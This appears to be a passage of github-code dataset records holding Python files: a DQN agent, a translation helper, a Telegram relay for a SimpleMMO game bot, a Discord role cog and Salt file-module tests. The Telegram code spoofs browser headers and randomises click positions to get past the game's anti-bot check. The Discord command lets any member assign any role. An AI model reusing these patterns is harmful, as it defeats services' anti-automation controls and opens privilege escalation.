"file_size_in_byte": 4664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 19, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 21, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "call"}, {"api_name": "exploration_techniques.FreeExecution", "line_number": 31, "usage_type": "call"}, {"api_name": "exploration_techniques.HeartBeat", "line_number": 36, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 58, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}]}
{"seq_id": "3834640222", "text": "import copy\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom deepmodel import threelayer\nfrom experience_replay import ReplayMemory\nimport sys\n\nclass DQNAgent:\n\n    def __init__(self, state_size = 8, action_size = 4, batch_size = 32, buffer_size = 100000, epsilon_decay = 0.999, gamma = 0.99, hidden_size1 = 32, hidden_size2 = 32, learning_rate = 0.0001, regularization = 0.000001, momentum = 0.99, qnet_update_freq = 5):\n\n        self.state_size = state_size\n        self.action_size = action_size\n        self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n        print(\"Currently using:\", self.device)\n        self.hidden_size1 = hidden_size1\n        self.hidden_size2 = hidden_size2\n        self.qnet = threelayer.ThreeLayerNet(self.state_size, self.hidden_size1, self.hidden_size2, self.action_size).to(self.device)\n        print(\"DQN architecture layers\", self.state_size, \"->\", self.hidden_size1,\"->\", self.hidden_size2,\"->\", self.action_size)\n        # 6 states -> 4 actions\n        self.fixed_qnet = copy.deepcopy(self.qnet)\n        self.batch_size = batch_size\n        self.qnet_update_freq = qnet_update_freq\n        self.fixed_qnet_update_freq = 1 * self.qnet_update_freq\n        self.learning_rate = learning_rate\n        self.reg = regularization\n        self.momentum = momentum\n        self.buffer_size = buffer_size\n\n        self.loss_fn = nn.MSELoss()\n        # self.optimizer = torch.optim.SGD(self.qnet.parameters(), lr = self.learning_rate,) #momentum = self.momentum, weight_decay = self.reg)\n        # self.optimizer = torch.optim.Adam(self.qnet.parameters())\n\n        self.optimizer = torch.optim.Adam(self.qnet.parameters(),\n                                          lr = self.learning_rate, weight_decay = self.reg,\n                                          betas = [0.9,0.999],\n                                          eps = 1e-04, amsgrad= True)\n        self.replay_memory = ReplayMemory(self.buffer_size)\n        self.num_steps = 0\n        self.gamma = gamma\n\n        self.epsilon = 1\n        self.epsilon_decay = epsilon_decay\n\n    def learn(self, sars):\n\n        self.replay_memory.add(sars)\n        if self.num_steps >= self.batch_size:\n\n            s_sample, a_sample, r_sample, s_prime_sample, d_sample = self.replay_memory.sample(self.batch_size)\n            if torch.cuda.is_available():\n                s_sample = s_sample.cuda()\n                s_prime_sample = s_prime_sample.cuda()\n            Q_s_prime_a_prime = self.fixed_qnet(s_prime_sample)\n\n            max_Q_s_prime_a_prime = Q_s_prime_a_prime.max(1)[0].unsqueeze(1)\n\n            targets = r_sample + self.gamma*max_Q_s_prime_a_prime*(1-d_sample)\n\n            Q_s_a = self.qnet(s_sample)\n            q_values = Q_s_a[np.arange(self.batch_size), a_sample].unsqueeze(1)\n            # q_values = torch.gather(Q_s_a, 1, a_sample)\n            self.optimizer.zero_grad()\n            loss = self.loss_fn(q_values, targets)\n            loss.backward()\n            self.optimizer.step()\n\n        if self.num_steps % self.qnet_update_freq == 0:\n            self.update_fixed_network()\n            # self.fixed_qnet = copy.deepcopy(self.qnet)\n\n        self.num_steps += 1\n\n    # def pick_action(self, state):\n\n        # state = torch.from_numpy(state).float().unsqueeze(0).to(self.device)\n        #\n        # q_values = self.qnet(state)\n        # # print(q_values)\n        # # print(q_values.shape)\n        # # sys.exit()\n        #\n        # # compute the probs of each action (1, num_actions)\n        # probs = nn.Softmax(dim=1)(q_values.data/0.01)\n        # probs = probs.cpu().detach().numpy()\n        # probs = np.array(probs)\n        # probs /= probs.sum()\n        #\n        # # select action\n        # action = np.random.choice(self.action_size, 1, p=probs.squeeze())\n        # action = int(action)\n        # # print(action)\n        # # print(action.shape)\n        # return action\n\n    def pick_action(self, state):\n\n        # action = np.random.randint(self.action_size)\n        # print(self.epsilon)\n        if np.random.random() < self.epsilon:\n            action = np.random.randint(self.action_size)\n        else:\n            state = torch.from_numpy(state).float().unsqueeze(0).to(self.device)\n            # self.qnet.eval()\n            # with torch.no_grad():\n            q_values = self.qnet(state)\n            # self.qnet.train()\n            action = np.argmax(q_values.cpu().data.numpy())\n            # print(action)\n\n        return action\n\n\n    # def softmax(self, action_values, tau=0.01):\n    #     \"\"\"\n    #     Args:\n    #         action_values: A torch tensor (2d) of size (batch_size, num_actions).\n    #         tau: Tempearture parameter.\n    #\n    #     Returns:\n    #         probs: A torch tensor of size (batch_size, num_actions). The value represents the probability of select\n    #         that action.\n    #     \"\"\"\n    #\n    #     max_action_value = torch.max(action_values, axis=1, keepdim=True)[0] / tau\n    #     action_values = action_values / tau\n    #\n    #     preference = action_values - max_action_value\n    #\n    #     exp_action = torch.exp(preference)\n    #     sum_exp_action = torch.sum(exp_action, axis=1).view(-1, 1)\n    #\n    #     probs = exp_action / sum_exp_action\n    #\n    #     return probs\n\n    def update_fixed_network(self):\n\n        # self.fixed_qnet = copy.deepcopy(self.qnet)\n        TAU = 0.01\n        for source_parameters, target_parameters in zip(self.qnet.parameters(), self.fixed_qnet.parameters()):\n            target_parameters.data.copy_(TAU * source_parameters.data + (1.0 - TAU) * target_parameters.data)\n", "repo_name": "nicholascpark/LunarLanderDDQN", "sub_path": "plots using double dqn/agent.py", "file_name": "agent.py", "file_ext": "py", "file_size_in_byte": 5603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.device", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 16, "usage_type": "attribute"}, {"api_name": "deepmodel.threelayer.ThreeLayerNet", "line_number": 20, "usage_type": "call"}, {"api_name": "deepmodel.threelayer", "line_number": 20, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 36, "usage_type": "attribute"}, {"api_name": "experience_replay.ReplayMemory", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 110, "usage_type": "call"}]}
{"seq_id": "37281554060", "text": "import base64\n\nfrom googletrans import Translator, constants\n\n#constants.LANGUAGES[detection.lang]\nfrom DjangoReader.services.helper import fromBase64\n\ntranslator = Translator()\n\n\n\ndef translate(text, origin_language_name, translating_language_name):\n    text = fromBase64(text)\n    name = None\n    name2 = None\n    for key, value in constants.LANGUAGES.items():\n        if (value == origin_language_name):\n            name = key\n        if (value == translating_language_name):\n            name2 = key\n            #sample_string = \"GeeksForGeeks is the best\"\n            #sample_string_bytes = sample_string.encode(\"ascii\")\n\n            #base64_bytes = base64.b64encode(sample_string_bytes)\n            #base64_string = base64_bytes.decode(\"ascii\")\n            a = translator.translate(text=text, src=name, dest=name2).text\n    return base64.b64encode(translator.translate(text=text, src=name, dest=name2).text.encode()).decode()\n\n", "repo_name": "Telfgan/reader", "sub_path": "DjangoReader/services/translator.py", "file_name": "translator.py", "file_ext": "py", "file_size_in_byte": 932, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "googletrans.Translator", "line_number": 8, "usage_type": "call"}, {"api_name": "DjangoReader.services.helper.fromBase64", "line_number": 13, "usage_type": "call"}, {"api_name": "googletrans.constants.LANGUAGES.items", "line_number": 16, "usage_type": "call"}, {"api_name": "googletrans.constants.LANGUAGES", "line_number": 16, "usage_type": "attribute"}, {"api_name": "googletrans.constants", "line_number": 16, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "42041326229", "text": "from telegram import *\nfrom telegram.ext import *\nfrom telegram.constants import ParseMode\nfrom dotenv import load_dotenv\nfrom random import randint\nfrom PIL import Image, ImageDraw\nfrom io import BytesIO\nfrom Authenticator import Authenticator\nimport traceback\nimport html\nimport Utils\nimport os\nimport json\nimport asyncio\n\nclass CollageCreator:\n    def createCollage(self, imagesBytesList: list[bytes]) -> BytesIO:\n        new = Image.new(\"RGBA\", (100,100))\n        memory = BytesIO()\n\n        for i in range(len(imagesBytesList)):\n            imageBytes = imagesBytesList[i]\n            image = Image.open(BytesIO(imageBytes))\n            image = image.resize((50, 50))\n            draw = ImageDraw.Draw(image)\n            draw.text((0, 0), str(i + 1), (87, 0, 3))\n\n            height = 0\n            width = 0\n            if i == 1:\n                width = 50\n            elif i == 2:\n                height = 50\n            elif i == 3:\n                height = 50\n                width = 50\n\n            new.paste(image, (width,height))\n\n        memory.name = \"image.png\"\n        new.save(\n            memory, \n            \"PNG\", \n            optimize = True, \n            quality = 10\n        )\n        memory.seek(0)\n        return memory\n\nclass TelegramVerifier:\n    isUserCorrect: bool = False\n    auth: Authenticator = None\n    messageStack: list[Message] = []\n    itemKeys = []\n\n    class CannotVerify(Exception): pass\n\n    def __init__(self) -> None:\n        load_dotenv()\n\n        self.chatId = os.getenv(\"chat_id\")\n        self.token = os.getenv(\"bot_token\")\n\n    def run(self):\n        loop = asyncio.get_event_loop()\n\n        if loop.is_closed():\n            loop = asyncio.new_event_loop()\n            asyncio.set_event_loop(loop)\n\n        self.application = Application.builder().token(token = self.token).build()\n        self.application.add_handler(CommandHandler(\"start\", self.start))\n        self.application.add_handler(CallbackQueryHandler(self.onItemClick))\n        self.application.add_error_handler(self.errorHandler)\n\n        loop.run_until_complete(self.verify())\n        print(\"> Please answer immediately!\")\n        self.application.run_polling()\n        print(\"> Stopping telegram bot...\")\n\n    async def verify(self) -> bool:\n        retries = 3\n        objectToFind: str = None\n\n        while retries > 0:\n            try:\n                if retries < 3:\n                    print(f\"> Retrying [{retries}]\")\n                \n                self.isUserCorrect = False\n                if objectToFind == None:\n                    humanizedHeaders = {\n                        \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n                        \"Host\": self.auth.webHost,\n                        \"Referer\": self.auth.ENDPOINTS[\"travel\"],\n                        \"Connection\": \"keep-alive\",\n                        \"Sec-Fetch-Dest\": \"document\",\n                        \"Sec-Fetch-Mode\": \"navigate\",\n                        \"Sec-Fetch-Site\": \"same-origin\",\n                        \"Sec-Fetch-User\": \"?1\",\n                        \"Upgrade-Insecure-Requests\": \"1\",\n                        \"x-requested-with\": self.auth.packageName,\n                        \"User-Agent\": self.auth.userAgent[\"webView\"]\n                    }\n\n                    response = self.auth.get(\n                        url = self.auth.ENDPOINTS[\"verifyPage\"],\n                        headers = humanizedHeaders\n                    )\n\n                    objectToFind = Utils.getStringInBetween(\n                        string = response.text,\n                        delimiter1 = '<div class=\"bot-item\">',\n                        delimiter2 = '</div>'\n                    )\n\n                self.itemKeys = self.getItemKeys(response.text)\n                self.itemKeys.pop(0)\n                \n                print(\"> Obtaining images...\")\n                itemImages = self.getItemImages()\n\n                print(\"> Collaging images...\")\n                collageCreator = CollageCreator()\n                collagedImages = collageCreator.createCollage(itemImages)\n\n                buttons = [\n                    [InlineKeyboardButton(\"1\", callback_data=\"0\")],\n                    [InlineKeyboardButton(\"2\", callback_data=\"1\")],\n                    [InlineKeyboardButton(\"3\", callback_data=\"2\")],\n                    [InlineKeyboardButton(\"4\", callback_data=\"3\")]\n                ]\n\n                print(\"> Sending the images...\")\n                message = await self.application.updater.bot.sendPhoto(\n                    chat_id = self.chatId,\n                    photo = collagedImages,\n                    caption = f\"🔍 Find: {objectToFind.strip()}\",\n                    reply_markup = InlineKeyboardMarkup(buttons)\n                )\n                self.messageStack.append(message)\n            except:\n                retries -= 1\n                raise Exception()\n            else:\n                return\n                \n        raise self.CannotVerify(\"Please verify it manually, ASAP!\")\n    \n    async def errorHandler(self, update: object, context: ContextTypes.DEFAULT_TYPE) -> None:\n        \"\"\"Log the error and send a telegram message to notify the developer.\"\"\"\n        # Log the error before we do anything else, so we can see it even if something breaks.\n        self.logger.error(msg=\"Exception while handling an update:\", exc_info=context.error)\n\n        # traceback.format_exception returns the usual python message about an exception, but as a\n        # list of strings rather than a single string, so we have to join them together.\n        tb_list = traceback.format_exception(None, context.error, context.error.__traceback__)\n        tb_string = \"\".join(tb_list)\n\n        # Build the message with some markup and additional information about what happened.\n        # You might need to add some logic to deal with messages longer than the 4096 character limit.\n        update_str = update.to_dict() if isinstance(update, Update) else str(update)\n        message = (\n            f\"An exception was raised while handling an update\\n\"\n            f\"<pre>update = {html.escape(json.dumps(update_str, indent=2, ensure_ascii=False))}\"\n            \"</pre>\\n\\n\"\n            f\"<pre>context.chat_data = {html.escape(str(context.chat_data))}</pre>\\n\\n\"\n            f\"<pre>context.user_data = {html.escape(str(context.user_data))}</pre>\\n\\n\"\n            f\"<pre>{html.escape(tb_string)}</pre>\"\n        )\n\n        # Finally, send the message\n        await context.bot.send_message(\n            chat_id=self.chatId, text=message, parse_mode=ParseMode.HTML\n        )\n\n    def getItemKeys(self, verificationDetails: str) -> list[str]:\n        return Utils.getMultipleStringsInBetween(\n            string = verificationDetails,\n            delimiter1 = \"chooseItem('\",\n            delimiter2 = \"'\"\n        )\n    \n    def getItemImages(self) -> list[bytes]:\n        contents = []\n        humanizedHeaders = {\n            \"Accept\": \"image/avif,image/webp,*/*\",\n            \"Host\": self.auth.webHost,\n            \"Referer\": self.auth.ENDPOINTS[\"verifyPage\"],\n            \"Connection\": \"keep-alive\",\n            \"Sec-Fetch-Dest\": \"image\",\n            \"Sec-Fetch-Mode\": \"no-cors\",\n            \"Sec-Fetch-Site\": \"same-origin\",\n            \"x-requested-with\": self.auth.packageName,\n            \"User-Agent\": self.auth.userAgent[\"webView\"]\n        }\n\n        for i in range(0, 4):\n            item = self.auth.get(\n                url = self.auth.ENDPOINTS[\"verifyImages\"] + str(i),\n                headers = humanizedHeaders\n            ).content\n\n            contents.append(item)\n        \n        return contents\n    \n    async def onItemClick(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n        query = update.callback_query\n        await query.answer()\n        \n        try:\n            latestVerificationMessage = self.messageStack[0]\n            expiredMessage = \"⚠️ Error: verification message expired!\"\n            if query.message.id != latestVerificationMessage.id:\n                await query.edit_message_caption(\n                    caption = expiredMessage,\n                    reply_markup = None\n                )\n                return\n        finally:\n            pass\n        \n        item = int(query.data)\n        self.isUserCorrect = self.getVerificationResults(itemPosition = item)\n        \n        status = \"incorrect ❗\"\n        if self.isUserCorrect:\n            print(\"> Verification successful!\")\n            status = \"correct ✅\"\n        else:\n            print(\"> Verification failed!\")\n\n        try:\n            statusMessage = f\"{query.message.caption}\\n🔒 Verification [{item + 1}] is {status}\"\n            await query.edit_message_caption(\n                caption = statusMessage,\n                reply_markup = None\n            )\n            self.messageStack.pop()\n        finally:\n            asyncio.get_event_loop().stop()\n            return\n    \n    async def start(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n        \"\"\"A ping function to send a dummy message\"\"\"\n        await update.message.reply_text(\"Hi! I'm a bot!\")\n\n    def getVerificationResults(self, itemPosition: int) -> bool:\n        x, y = self.humanizeMouseClick()\n\n        humanizedData = {\n            \"data\": self.itemKeys[itemPosition],\n            \"x\": x,\n            \"y\": y\n        }\n\n        humanizedHeaders = {\n            \"Accept\": \"*/*\",\n            \"Host\": self.auth.webHost,\n            \"Origin\": self.auth.WEB_ENDPOINT,\n            \"Referer\": self.auth.ENDPOINTS[\"verifyPage\"],\n            \"x-requested-with\": self.auth.packageName,\n            \"Connection\": \"keep-alive\",\n            \"User-Agent\": self.auth.userAgent[\"webView\"]\n        }\n\n        result = self.auth.post(\n            url = self.auth.ENDPOINTS[\"verifyXHR\"],\n            data = humanizedData,\n            headers = humanizedHeaders\n        )\n\n        try:\n            parsedResult = json.loads(result.text)\n            isSuccess = parsedResult[\"type\"] == \"success\"\n            if isSuccess:\n                return True\n            else:\n                return False\n        except:\n            raise self.CannotVerify(\"Please verify it manually, ASAP!\")\n    \n    def humanizeMouseClick(self):\n        xPosition = randint(291, 410)\n        yPosition = randint(381, 398)\n\n        return (xPosition, yPosition)", "repo_name": "chocomochi/SimpleMMOBot", "sub_path": "TelegramVerifier.py", "file_name": "TelegramVerifier.py", "file_ext": "py", "file_size_in_byte": 10404, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.new", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 18, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 25, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 17, "usage_type": "name"}, {"api_name": "Authenticator.Authenticator", "line_number": 52, "usage_type": "name"}, {"api_name": "dotenv.load_dotenv", "line_number": 59, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 61, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 62, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 65, "usage_type": "call"}, {"api_name": "asyncio.new_event_loop", "line_number": 68, "usage_type": "call"}, {"api_name": "asyncio.set_event_loop", "line_number": 69, "usage_type": "call"}, {"api_name": "Utils.getStringInBetween", "line_number": 111, "usage_type": "call"}, {"api_name": "traceback.format_exception", "line_number": 157, "usage_type": "call"}, {"api_name": "html.escape", "line_number": 165, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 165, "usage_type": "call"}, {"api_name": "html.escape", "line_number": 167, "usage_type": "call"}, {"api_name": "html.escape", "line_number": 168, "usage_type": "call"}, {"api_name": "html.escape", "line_number": 169, "usage_type": "call"}, {"api_name": "telegram.constants.ParseMode.HTML", "line_number": 174, "usage_type": "attribute"}, {"api_name": "telegram.constants.ParseMode", "line_number": 174, "usage_type": "name"}, {"api_name": "Utils.getMultipleStringsInBetween", "line_number": 178, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 242, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 275, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 285, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 286, "usage_type": "call"}]}
{"seq_id": "16069949111", "text": "import discord\nfrom discord.ext import commands\nfrom cogs.utils import checks\nfrom __main__ import settings\n\n\nclass Verify:\n    \"\"\"Custom Verify tool.\"\"\"\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command(no_pm=True, pass_context=True)\n    async def verifyme(self, ctx, rolename: str=\"Verified\", user: discord.Member=None):\n        \"\"\"Adds the specified role to the user\"\"\"\n        author = ctx.message.author\n        channel = ctx.message.channel\n        server = ctx.message.server\n        role = discord.utils.find(lambda r: r.name.lower() == rolename.lower(),\n                                  ctx.message.server.roles)\n        if user is None:\n            user = author\n\n        if role is None:\n            await self.bot.say('Something went wrong.  The \"Verified\" role cannot be found.')\n            return\n\n        if not channel.permissions_for(server.me).manage_roles:\n            await self.bot.say('I don\\'t have manage_roles permissions.')\n            return\n\n        await self.bot.add_roles(user, role)\n        await self.bot.say('Added role {} to {}'.format(role.name, user.name))\n\ndef setup(bot):\n    bot.add_cog(Verify(bot))\n\n\n", "repo_name": "omnifarius/Omni-Cogs", "sub_path": "verify/verify.py", "file_name": "verify.py", "file_ext": "py", "file_size_in_byte": 1170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.Member", "line_number": 14, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 19, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 19, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 13, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 13, "usage_type": "name"}]}
{"seq_id": "12853263204", "text": "import logging\nimport os\nimport shutil\n\nimport pytest\n\nimport salt.config\nimport salt.loader\nimport salt.modules.cmdmod as cmdmod\nimport salt.modules.config as configmod\nimport salt.modules.file as filemod\nimport salt.utils.data\nimport salt.utils.files\nimport salt.utils.platform\nimport salt.utils.stringutils\nfrom tests.support.mock import MagicMock, call, patch\n\nlog = logging.getLogger(__name__)\n\n\n@pytest.fixture\ndef configure_loader_modules():\n    return {\n        filemod: {\n            \"__salt__\": {\n                \"config.manage_mode\": configmod.manage_mode,\n                \"cmd.run\": cmdmod.run,\n                \"cmd.run_all\": cmdmod.run_all,\n            },\n            \"__opts__\": {\n                \"test\": False,\n                \"file_roots\": {\"base\": \"tmp\"},\n                \"pillar_roots\": {\"base\": \"tmp\"},\n                \"cachedir\": \"tmp\",\n                \"grains\": {},\n            },\n            \"__grains__\": {\"kernel\": \"Linux\"},\n        }\n    }\n\n\n@pytest.fixture\ndef tmp_sub_dir(tmp_path):\n    directory = tmp_path / \"file-basics-test-dir\"\n    directory.mkdir()\n\n    yield directory\n\n    shutil.rmtree(str(directory))\n\n\n@pytest.fixture\ndef tfile(tmp_sub_dir):\n    filename = str(tmp_sub_dir / \"file-basics-test-file\")\n\n    with salt.utils.files.fopen(filename, \"w+\") as fp:\n        fp.write(\"Hi hello! I am a file.\")\n\n    yield filename\n\n    os.remove(filename)\n\n\n@pytest.fixture\ndef myfile(tmp_sub_dir):\n    filename = str(tmp_sub_dir / \"myfile\")\n\n    with salt.utils.files.fopen(filename, \"w+\") as fp:\n        fp.write(salt.utils.stringutils.to_str(\"Hello\\n\"))\n\n    yield filename\n\n    os.remove(filename)\n\n\n@pytest.fixture\ndef a_link(tmp_sub_dir):\n    path = tmp_sub_dir / \"a_link\"\n    linkname = str(path)\n\n    yield linkname\n\n    if path.exists():\n        os.remove(linkname)\n\n\n@pytest.fixture\ndef a_hardlink(tmp_sub_dir):\n    path = tmp_sub_dir / \"a_hardlink\"\n    linkname = str(path)\n\n    yield linkname\n\n    if path.exists():\n        os.remove(linkname)\n\n\n@pytest.mark.skip_on_windows(reason=\"os.symlink is not available on Windows\")\ndef test_symlink_already_in_desired_state(tfile, a_link):\n    os.symlink(tfile, a_link)\n    result = filemod.symlink(tfile, a_link)\n    assert result\n\n\n@pytest.mark.skip_on_windows(reason=\"os.link is not available on Windows\")\ndef test_hardlink_sanity(tfile, a_hardlink):\n    target = a_hardlink\n    result = filemod.link(tfile, target)\n    assert result\n\n\n@pytest.mark.skip_on_windows(reason=\"os.link is not available on Windows\")\ndef test_hardlink_numlinks(tfile, a_hardlink):\n    target = a_hardlink\n    result = filemod.link(tfile, target)\n    name_i = os.stat(tfile).st_nlink\n    assert name_i > 1\n\n\n@pytest.mark.skip_on_windows(reason=\"os.link is not available on Windows\")\ndef test_hardlink_working(tfile, a_hardlink):\n    target = a_hardlink\n    result = filemod.link(tfile, target)\n    name_i = os.stat(tfile).st_ino\n    target_i = os.stat(target).st_ino\n    assert name_i == target_i\n\n\ndef test_source_list_for_list_returns_file_from_dict_via_http():\n    with patch(\"salt.modules.file.os.remove\") as remove:\n        remove.return_value = None\n        with patch.dict(\n            filemod.__salt__,\n            {\n                \"cp.list_master\": MagicMock(return_value=[]),\n                \"cp.list_master_dirs\": MagicMock(return_value=[]),\n                \"cp.cache_file\": MagicMock(return_value=\"/tmp/http.conf\"),\n            },\n        ):\n            with patch(\"salt.utils.http.query\") as http_query:\n                http_query.return_value = {}\n                ret = filemod.source_list(\n                    [{\"http://t.est.com/http/httpd.conf\": \"filehash\"}], \"\", \"base\"\n                )\n                assert list(ret) == [\"http://t.est.com/http/httpd.conf\", \"filehash\"]\n\n\ndef test_source_list_use_requests():\n    with patch(\"salt.modules.file.os.remove\") as remove:\n        remove.return_value = None\n        with patch.dict(\n            filemod.__salt__,\n            {\n                \"cp.list_master\": MagicMock(return_value=[]),\n                \"cp.list_master_dirs\": MagicMock(return_value=[]),\n                \"cp.cache_file\": MagicMock(return_value=\"/tmp/http.conf\"),\n            },\n        ):\n            expected_call = call(\n                \"http://t.est.com/http/file1\",\n                decode_body=False,\n                method=\"HEAD\",\n            )\n            with patch(\n                \"salt.utils.http.query\", MagicMock(return_value={})\n            ) as http_query:\n                ret = filemod.source_list(\n                    [{\"http://t.est.com/http/file1\": \"filehash\"}], \"\", \"base\"\n                )\n                assert list(ret) == [\"http://t.est.com/http/file1\", \"filehash\"]\n                assert expected_call in http_query.mock_calls\n\n\ndef test_source_list_for_list_returns_existing_file():\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[\"http/httpd.conf.fallback\"]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list(\n            [\"salt://http/httpd.conf\", \"salt://http/httpd.conf.fallback\"],\n            \"filehash\",\n            \"base\",\n        )\n        assert list(ret) == [\"salt://http/httpd.conf.fallback\", \"filehash\"]\n\n\ndef test_source_list_for_list_returns_file_from_other_env():\n    def list_master(env):\n        dct = {\"base\": [], \"dev\": [\"http/httpd.conf\"]}\n        return dct[env]\n\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(side_effect=list_master),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list(\n            [\n                \"salt://http/httpd.conf?saltenv=dev\",\n                \"salt://http/httpd.conf.fallback\",\n            ],\n            \"filehash\",\n            \"base\",\n        )\n        assert list(ret) == [\"salt://http/httpd.conf?saltenv=dev\", \"filehash\"]\n\n\ndef test_source_list_for_list_returns_file_from_dict():\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[\"http/httpd.conf\"]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list([{\"salt://http/httpd.conf\": \"\"}], \"filehash\", \"base\")\n        assert list(ret) == [\"salt://http/httpd.conf\", \"filehash\"]\n\n\ndef test_source_list_for_list_returns_existing_local_file_slash(myfile):\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list([myfile + \"-foo\", myfile], \"filehash\", \"base\")\n        assert list(ret) == [myfile, \"filehash\"]\n\n\ndef test_source_list_for_list_returns_existing_local_file_proto(myfile):\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list(\n            [\"file://\" + myfile + \"-foo\", \"file://\" + myfile],\n            \"filehash\",\n            \"base\",\n        )\n        assert list(ret) == [\"file://\" + myfile, \"filehash\"]\n\n\ndef test_source_list_for_list_returns_local_file_slash_from_dict(myfile):\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list([{myfile: \"\"}], \"filehash\", \"base\")\n        assert list(ret) == [myfile, \"filehash\"]\n\n\ndef test_source_list_for_list_returns_local_file_proto_from_dict(myfile):\n    with patch.dict(\n        filemod.__salt__,\n        {\n            \"cp.list_master\": MagicMock(return_value=[]),\n            \"cp.list_master_dirs\": MagicMock(return_value=[]),\n        },\n    ):\n        ret = filemod.source_list([{\"file://\" + myfile: \"\"}], \"filehash\", \"base\")\n        assert list(ret) == [\"file://\" + myfile, \"filehash\"]\n\n\ndef test_symlink_lexists_called_follow_symlinks_false():\n    tfile = \"/tmp/file-basics-test-file\"\n    a_link = \"/tmp/a_link\"\n\n    exists = MagicMock(return_value=False)\n    lexists = MagicMock(return_value=False)\n\n    with patch(\"os.path.exists\", exists), patch(\"os.path.lexists\", lexists), patch(\n        \"os.symlink\", MagicMock(return_value=True)\n    ):\n        filemod.symlink(tfile, a_link)\n        lexists.assert_not_called()\n        exists.assert_called()\n\n        lexists.reset_mock()\n        exists.reset_mock()\n\n        filemod.symlink(tfile, a_link, follow_symlinks=False)\n        lexists.assert_called()\n        exists.assert_not_called()\n", "repo_name": "saltstack/salt", "sub_path": "tests/pytests/unit/modules/file/test_file_basics.py", "file_name": "test_file_basics.py", "file_ext": "py", "file_size_in_byte": 8707, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "salt.modules.file", "line_number": 24, "usage_type": "name"}, 